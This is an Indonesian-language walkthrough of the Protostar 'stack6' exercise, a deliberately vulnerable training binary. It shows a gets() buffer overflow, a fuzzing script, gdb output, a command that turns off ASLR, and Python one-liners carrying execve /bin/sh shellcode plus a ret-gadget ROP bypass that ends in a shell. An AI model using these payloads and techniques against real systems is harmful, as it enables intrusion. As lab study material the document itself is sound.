Protostar Stack 6

Alat dan Bahan

  • Binary: stack6
  • Sistem operasi: Debian 9 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Binary

Ambil binary dari VM Protostar.

$ scp [email protected]:/opt/protostar/bin/stack6 $PWD
  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void getpath()
{
  char buffer[64];
  unsigned int ret;

  printf("input path please: "); fflush(stdout);

  gets(buffer);

  ret = __builtin_return_address(0);

  if((ret & 0xbf000000) == 0xbf000000) {
      printf("bzzzt (%p)\n", ret);
      _exit(1);
  }

  printf("got path %s\n", buffer);
}

int main(int argc, char **argv)
{
  getpath();
}
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Identifikasi Kelemahan

$ checksec stack6
[*] '/../stack6'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

$ ./stack6 
input path please: 1
got path 1

Program menerima input dari stdin kemudian diproses melalui fungsi gets yang vulnerable. Tujuan akhirnya adalah mendapatkan akses shell.

fsi.sh

#!/bin/bash

buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done

Eksploitasi

$ ./fsi.sh stack6
...
SEGMENTATION FAULT on 76 BUFFER

Dengan jumlah buffer sebesar 76 byte program mengalami segmentation fault. Agar bisa mendapatkan alamat yang tepat untuk akses shell maka atur buffer yang akan digunakan sebagai shellcode pada akhir payload.

$ python -c 'print "A"*80 + "BBBB" + "C"*64' | tr -d '\n' > /tmp/del
$ gdb -q stack6
$ r < /tmp/del
Starting program: /../stack6 < /tmp/del
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC

Program received signal SIGSEGV, Segmentation fault.

[----------------------------------registers-----------------------------------]
EAX: 0x9e 
EBX: 0x0 
ECX: 0x7fffff62 
EDX: 0xf7fb4870 --> 0x0 
ESI: 0x1 
EDI: 0xf7fb3000 --> 0x1b2db0 
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd6a0 ('C' <repeats 64 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd6a0 ('C' <repeats 64 times>)
0004| 0xffffd6a4 ('C' <repeats 60 times>)
0008| 0xffffd6a8 ('C' <repeats 56 times>)
0012| 0xffffd6ac ('C' <repeats 52 times>)
0016| 0xffffd6b0 ('C' <repeats 48 times>)
0020| 0xffffd6b4 ('C' <repeats 44 times>)
0024| 0xffffd6b8 ('C' <repeats 40 times>)
0028| 0xffffd6bc ('C' <repeats 36 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()

Isi register ESP dengan NOP dan shellcode dan ganti nilai 0x42424242 dengan alamat register ESP agar shellcode bisa dieksekusi.

$ python -c 'print "A"*80 + "\xa0\xd6\xff\xff" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ' | tr -d '\n' | ./stack6
input path please: bzzzt (0xffffd6a0)

Ada proteksi canary sederhanan, sehingga shellcode tidak bisa dieksekusi dengan gadget \xa0\xd6\xff\xff. Agar shellcode bisa diekseksui maka gunakan teknik Return Oriented Programming (ROP).

ROP biasanya menggunakan gadget agar bisa pindah ke stack yang diinginkan. Untuk mendapatkan gadget bisa menggunakan GDB PEDA.

$ sudo gdb -q stack6

gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: stack6-rop.txt ...
0x80484f9: ret
...

Ada gadget ret yang bisa digunakan untuk pindah alamat selanjutnya pada stack. Gadget tersebut bisa digunakan dengan desain payload ini, JUNK Buffer + GADGET Addr + SHELLCODE Addr + SHELLCODE Buffer.

Alamat gadget ret ada pada 0x80484f9, selanjutnya gunakan offset sebesar 80 byte sebelum register IP untuk mencari alamat stack yang diawali dengan 0xbf.

$ python -c "print 'A'*80 + '\xf9\x84\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/x

Luaran GDB pada Protostar.

(gdb) r < /tmp/x
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/stack6 < /tmp/x
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffca4:    0xdb31c031

Alamat yang diinginkan sudah ditemukan pada 0xbffffca4, sekarang tinggal ditambahkan ke payload.

$ python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xa4\xfc\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/y

Luaran GDB pada Protostar.

(gdb) r < /tmp/y
Starting program: /opt/protostar/bin/stack6 < /tmp/y
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ

Executing new program: /bin/dash

Akses shell /bin/dash berhasil didapatkan.

Referensi

results matching ""

    No results matching ""